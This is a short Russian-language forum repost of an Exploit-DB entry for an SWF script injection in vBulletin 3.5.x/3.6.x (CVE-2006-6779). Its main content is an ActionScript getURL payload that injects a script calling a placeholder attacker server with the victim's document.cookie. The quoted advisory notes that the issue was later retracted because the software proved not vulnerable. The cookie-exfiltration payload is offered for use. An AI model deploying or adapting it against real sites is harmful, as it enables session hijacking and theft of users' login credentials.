Exploit vBulletin 3.5.x/3.6.x - SWF Script Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
29338
Проверка EDB
  1. Пройдено
Автор
ASHRAF MORAD
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2006-6779
Дата публикации
2006-12-25
vBulletin 3.5.x/3.6.x - SWF Script Injection
Код:
source: https://www.securityfocus.com/bid/21736/info

vBulletin is prone to a vulnerability that may let remote attackers inject arbitrary script code into the application.

If exploited, this vulnerability may let attackers steal cookie-based authentication credentials. Other attacks are also possible.

Update: Note that the ability to upload SWF files is disabled by default, and must be enabled by site administrators to expose this issue.

This BID is being retired because further information shows that the application is not vulnerable to this issue.

getURL("javascript:function blab(){}var scriptNode = 
+document.createElement('script');document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='javascript';scriptNode.src='http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie
+;blab();");
 
Источник
www.exploit-db.com

Похожие темы